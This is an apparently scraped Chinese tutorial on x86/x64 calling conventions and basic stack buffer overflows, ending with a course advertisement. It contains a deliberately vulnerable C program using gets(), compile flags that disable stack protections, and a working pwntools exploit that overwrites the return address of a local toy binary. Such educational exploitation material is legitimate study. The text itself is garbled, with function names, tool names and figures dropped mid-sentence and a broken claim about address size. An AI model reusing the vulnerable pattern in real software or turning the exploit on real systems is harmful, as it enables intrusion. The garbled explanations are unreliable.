函数调用约定(Linux)
需要注意的是,32 位和 64 位程序有以下简单的区别 x86 函数参数在函数返回地址的上方 x64 V AMD64 ABI (Linux、、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。 内存地址不能大于 ,6 个字节长度,否则会抛出异常。
堆栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
基本示例
势力代码exit.c如下:
#include#include #includevoid success() { puts("You Hava already controlled it."); }void vulnerable(){ char s[12]; gets(s); puts(s); return;}int main(){ vulnerable(); return 0;}
这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 函数。 通过gcc进行编译:
gcc -m32 -ggdb -z execstack -fno-stack-protector -no-pie -o pwnme exit.c
关闭pie、关闭栈保护(),堆栈可执行(NX为开启)。通过查看,如图:
使用进行调试: 首先查看的地址,如下所示为,由于关闭了pie和ASLR,这个值是固定的。
对pwnme这个程序中进行逆向,查看的汇编代码:
攻击思路
由于gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。而本次溢出攻击基于的就是gets函数。 通过进行调试,在puts函数断点,输入'',查看函数堆栈情况如下:
通过分析汇编代码和堆栈数据,可以得出如下所示的栈结构。
High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ ebp | old ebp | +-----------------+ | ... | +-----------------+ ebp-14| local variables | Low | | Address
要执行函数,我们可以直接将堆栈中返回地址( )的值设置为的地址,然后,当返回的时候,就会跳转到函数的地址。
攻击代码
##coding=utf8from pwn import *## 构造与程序交互的对象sh = process('./pwnme')success_addr = 0x08048456## 构造payloadpayload = 'a' * 0x14 + 'bbbb' + p32(success_addr)print p32(success_addr)## 向程序发送字符串sh.sendline(payload)## 将代码交互转换为手工交互sh.interactive()
运行代码,效果如图所示,我们成功地调用了函数。
小总结
上面的示例其实也展示了栈溢出中比较重要的几个步骤。
寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话栈溢出,栈溢出的位置在哪里。常见的危险函数如下
输入 gets,直接读取一行,忽略'x00' scanf 输出 字符串 ,字符串复制,遇到'x00'停止 ,字符串拼接,遇到'x00'停止 bcopy
确定填充长度
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
覆盖函数返回地址,这时候就是直接看 EBP 即可。覆盖栈上某个变量的内容栈溢出,这时候就需要更加精细的计算了。覆盖 bss 段某个变量的内容。根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。
公众号
限时特惠:本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情
站长微信:Jiucxh